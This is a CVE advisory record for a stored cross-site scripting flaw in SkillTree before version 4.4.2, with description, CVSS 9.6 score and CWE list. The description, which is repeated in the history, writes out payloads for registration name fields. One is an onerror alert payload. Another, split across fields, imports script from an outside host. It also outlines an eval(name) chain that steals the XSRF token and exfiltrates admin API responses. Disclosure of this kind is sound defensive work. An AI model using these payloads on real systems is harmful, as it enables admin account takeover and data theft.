Description
SkillTree is a micro-learning gamification platform. Prior to version 4.4.2, two independent code flaws combine into a single exploitable attack chain, with three distinct exploitation paths of escalating impact. `StringHighlighter.js` builds an HTML string by interpolating raw `value` substrings directly into a template literal with no HTML entity encoding. `HighlightedValue.vue` renders that string — and all unfiltered plain values — via Vue's `v-html` directive, which sets `innerHTML`. Separately, the account registration endpoint accepts `firstName`, `lastName`, and `nickname` fields and stores them without any HTML sanitization. An attacker self-registers with `firstName = "<img src=x onerror=alert(1)>"` (28 characters — within the 30-character field limit) and visits any quiz. The next time an administrator opens the Quiz Runs page the payload executes in their browser. Three attack paths exist with escalating impact. The first is basic cross-site scripting. Any self-contained payload fitting the 30-character limit (e.g. `<img src=x onerror=alert(1)>`, which is 28 chars) fires automatically when the admin navigates to the runs page through normal use. Arbitrary code execution in the admin's browser is confirmed with zero extra steps. The second is remote script loading via `import()`. Using the split-field technique (`lastName = "<img src=x"`, `firstName = "onerror=import('//nsas.cc/p')>"`), the attacker loads a full JavaScript file from their server. The file has no size limit and can perform any admin action — delete all projects, create backdoor accounts, dump user data, install a keylogger. No phishing required. The only constraint is that the URL must fit in 11 characters (`//nsas.cc/p`). The third is full cross-site request forgery token theft. Using `eval(name)`, the attacker pre-sets `window.name` to a data-theft payload by sending the admin one redirect link first. The session cookie is `HttpOnly` and cannot be read via `document.cookie`; however, the XSRF token is readable and the attacker leverages same-origin execution to call admin APIs from inside the victim's browser, relaying the responses to an external server. No admin interaction beyond routine use is required. Version 4.4.2 contains a patch.
Published: 2026-09-09
Score: 9.6 Critical
EPSS: n/a
KEV: No
Impact: n/a
Action: n/a
AI Analysis

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Remediation

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History

Wed, 09 Sep 2026 19:00:00 +0000

Type Values Removed Values Added
Description SkillTree is a micro-learning gamification platform. Prior to version 4.4.2, two independent code flaws combine into a single exploitable attack chain, with three distinct exploitation paths of escalating impact. `StringHighlighter.js` builds an HTML string by interpolating raw `value` substrings directly into a template literal with no HTML entity encoding. `HighlightedValue.vue` renders that string — and all unfiltered plain values — via Vue's `v-html` directive, which sets `innerHTML`. Separately, the account registration endpoint accepts `firstName`, `lastName`, and `nickname` fields and stores them without any HTML sanitization. An attacker self-registers with `firstName = "<img src=x onerror=alert(1)>"` (28 characters — within the 30-character field limit) and visits any quiz. The next time an administrator opens the Quiz Runs page the payload executes in their browser. Three attack paths exist with escalating impact. The first is basic cross-site scripting. Any self-contained payload fitting the 30-character limit (e.g. `<img src=x onerror=alert(1)>`, which is 28 chars) fires automatically when the admin navigates to the runs page through normal use. Arbitrary code execution in the admin's browser is confirmed with zero extra steps. The second is remote script loading via `import()`. Using the split-field technique (`lastName = "<img src=x"`, `firstName = "onerror=import('//nsas.cc/p')>"`), the attacker loads a full JavaScript file from their server. The file has no size limit and can perform any admin action — delete all projects, create backdoor accounts, dump user data, install a keylogger. No phishing required. The only constraint is that the URL must fit in 11 characters (`//nsas.cc/p`). The third is full cross-site request forgery token theft. Using `eval(name)`, the attacker pre-sets `window.name` to a data-theft payload by sending the admin one redirect link first. The session cookie is `HttpOnly` and cannot be read via `document.cookie`; however, the XSRF token is readable and the attacker leverages same-origin execution to call admin APIs from inside the victim's browser, relaying the responses to an external server. No admin interaction beyond routine use is required. Version 4.4.2 contains a patch.
Title NationalSecurityAgency/skills-service has Stored XSS via User Registration Enabling Admin Account Takeover
Weaknesses CWE-116
CWE-183
CWE-20
CWE-693
CWE-79
References
Metrics cvssV3_1

{'score': 9.6, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L'}


Subscriptions

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cve-icon MITRE

Status: PUBLISHED

Assigner: GitHub_M

Published:

Updated: 2026-09-09T18:44:15.005Z

Reserved: 2026-06-15T22:58:06.562Z

Link: CVE-2026-54694

cve-icon Vulnrichment

No data.

cve-icon NVD

Status : Received

Published: 2026-09-09T19:17:28.400

Modified: 2026-09-09T19:17:28.400

Link: CVE-2026-54694

cve-icon Redhat

No data.

cve-icon OpenCVE Enrichment

No data.

Weaknesses
  • CWE-116

    Improper Encoding or Escaping of Output

  • CWE-183

    Permissive List of Allowed Inputs

  • CWE-20

    Improper Input Validation

  • CWE-693

    Protection Mechanism Failure

  • CWE-79

    Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')